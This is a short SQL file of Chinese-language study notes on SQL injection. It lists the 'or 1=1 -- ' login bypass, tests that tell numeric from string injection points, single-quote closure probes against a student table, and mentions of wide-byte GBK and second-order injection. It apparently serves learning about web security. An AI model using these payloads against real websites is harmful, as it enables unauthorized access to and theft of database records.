#1.万能注入 'or 1=1 -- '
#select * from users where username=' ' or 1=1 -- 'and password='admin4'
#一·数字型注入判断
#1.?id=1'
#select * from users where id=1';数字型则报错
#2.?id=1 and 1=1
select * from users where id= 1 and 1=1; #正常显示,若为字符型则会无显示(全被当成字符串)
#3. ?id=1 and 1=2
select * from users where id= 1 and 1=2;#不报错也无显示!!!!!
#二。字符型注入点-单引号闭合
use stu;
#1.?Semester=20201'
#select * from stu.sc where Semester='20201''; #报错
#2. ?Semester=20201' and '1'='1
select * from stu.sc where Semester='20201' and '1'='1 '; #正常显示
#3. ?Semester=20201' and '1'='2
select * from stu.sc where Semester='20201' and '1'='2 '; #无报错且无显示即NUll!!!!
#动态字符串构建
#1.宽字节注入 GBK %df \'
#2.二次注入
数字型判断 id=1/0 若报错则为数字型